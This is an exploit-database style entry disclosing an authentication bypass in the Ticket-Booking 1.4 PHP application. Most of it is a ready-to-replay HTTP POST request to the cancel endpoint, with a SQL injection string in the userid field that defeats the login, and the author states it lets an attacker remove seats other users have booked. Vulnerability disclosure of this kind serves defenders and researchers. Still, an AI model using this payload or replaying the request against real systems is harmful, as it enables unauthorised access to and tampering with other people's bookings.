Ticket-Booking 1.4 Authentication Bypass

`# Exploit Title: Ticket-Booking 1.4 - Authentication Bypass  
# Author: Cakes  
# Discovery Date: 2019-09-14  
# Vendor Homepage: https://github.com/ABHIJEET-MUNESHWAR/Ticket-Booking  
# Software Link: https://github.com/ABHIJEET-MUNESHWAR/Ticket-Booking/archive/master.zip  
# Tested Version: 1.4  
# Tested on OS: CentOS 7  
# CVE: N/A  
  
# Description:  
# Easy authentication bypass vulnerability on this ticket booking application   
# allowing the attacker to remove any previously booked seats  
  
# Simply replay the below Burp request or use Curl (remember to change the Cookie Values)  
  
POST /ticket/cancel.php HTTP/1.1  
Host: Target  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Referer: https://Target/ticket/login.php  
Content-Type: application/x-www-form-urlencoded  
Content-Length: 50  
Cookie: PHPSESSID=j9jrgserbga22a9q9u165uirh4; rental_property_manager=mq5iitk8ic80ffa8dcf28294d4  
Connection: close  
Upgrade-Insecure-Requests: 1  
DNT: 1  
  
userid='%20or%200%3d0%20#&password=123&save=signin  
`